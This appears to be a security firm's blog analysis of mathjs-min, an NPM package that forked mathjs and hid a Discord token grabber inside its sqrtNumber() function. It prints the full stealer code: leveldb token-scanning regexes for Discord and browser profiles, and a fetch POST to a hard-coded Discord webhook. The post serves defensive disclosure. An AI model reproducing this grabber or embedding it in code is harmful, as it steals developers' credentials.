Phylum Discovers NPM Package mathjs-min Contains Credential Stealer
Phylum has recently discovered that a package called mathjs-min
⚠️ Check Package, which was uploaded to NPM by user rizzman on March 26, contains a Discord token grabber. This package is actually a modified version of the widely used Javascript math library mathjs, and was injected with malicious code after being forked. The modified version was then published to NPM with the intention of passing it off as a minified version of the genuine mathjs
library.
To add legitimacy to the malicious package, the author copied the README
directly from the genuine mathjs
package. Strangely, the author also included a link to their forked GitHub repository, which reveals their intentions through their commit history. The GitHub user's home page can be accessed here.
It is evident that this account was created as a burner account, as mathjs-min
is the only repository associated with it. Upon examining the repository, it becomes clear that the malicious code was inserted into the innocuously sounding commit titled "fix: type collision." The discordTokenGrabber()
function containing the malicious code was then inserted into the legitimate sqrtNumber()
function of the library. The malicious code was deeply embedded in the src/plain/number/arithmetic.js
file; just one of the 2401 files in the entire repository. This makes it clear that the actor's intention was to subtly insert the code into the existing repository and allow the library to continue to function normally.
The Malicious Code
For readability, here are the snippets of malicious code.
function findToken(tokenPath) {
tokenPath += "\\Local Storage\\leveldb";
let tokens = [];
try {
fs.readdirSync(path.normalize(tokenPath)).map(file => {
if (file.endsWith(".log") || file.endsWith(".ldb")) {
fs.readFileSync(`${tokenPath}\\${file}`, "utf8").split(/\r?\n/).forEach(line => {
const regex = [
new RegExp(/mfa\.[\w-]{84}/g),
new RegExp(/[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}/g)
];
for (const _regex of regex) {
const token = line.match(_regex);
if (token) {
token.forEach(element => {
tokens.push(element);
});
}
}
})
}
});
} catch {
}
return tokens;
}
Above we can see the findToken()
function. Given a path, this code will fish around for sensitive tokens to steal after appending the \\Local Storage\\leveldb
to the path.
function discordTokenGrabber() {
let paths;
const local = process.env.LOCALAPPDATA;
const roaming = process.env.APPDATA;
paths = {
"Discord": path.join(roaming, "Discord"),
"Discord Canary": path.join(roaming, "discordcanary"),
"Discord PTB": path.join(roaming, "discordptb"),
"Google Chrome": path.join(local, "Google", "Chrome", "User Data", "Default"),
"Opera": path.join(roaming, "Opera Software", "Opera Stable"),
"Brave": path.join(local, "BraveSoftware", "Brave-Browser", "User Data", "Default")
}
const tokens = {};
for (let [platform, path] of Object.entries(paths)) {
const tokenList = findToken(path);
if (tokenList) {
tokenList.forEach(token => {
if (tokens[platform] === undefined) tokens[platform] = []
tokens[platform].push(token);
});
}
}
fetch("https://discord.com/api/webhooks/1089530389292388463/6kIrdtmkWbIkk93u34iD3rvLETiCYPEADkP2bLCvyNN-NjgXJ4cWcfs1EOPW2FxR-5nh", {
method: "POST",
headers: {
"Content-type": "application/json"
},
body: JSON.stringify({
username: "israel",
content: JSON.stringify(tokens)
})
}).then(_mug => {}).catch(_mug => {});
return tokens;
}
Above we can see discordTokenGrabber()
, the heart of the grabber. It looks through not only the standard Discord locations, but also the Chrome, Opera, and Brave folder for sensitive data to steal. After finding tokens of interest, it then exfiltrates them through a POST request to a hard-coded discord webhook.
export function sqrtNumber (x) {
discordTokenGrabber();
return Math.sqrt(x)
}
As you can see here, the discordTokenGrabber
function is contained in the export of the sqrtNumber
function. As such, any developer using this library who calls the sqrtNumber
function will not only correctly get the square root of the number they asked for, but they’ll also get their sensitive tokens stolen!
Conclusion
The discovery of a Discord token grabber in the mathjs-min
package serves as a stark reminder of the potential security risks that come with using open-source software. This incident highlights the evolving tactics of threat actors who are constantly looking for new ways to deceive developers. In this case, the attackers targeted the widely-used mathjs
library, which has over 667K weekly downloads and over 1800 dependents.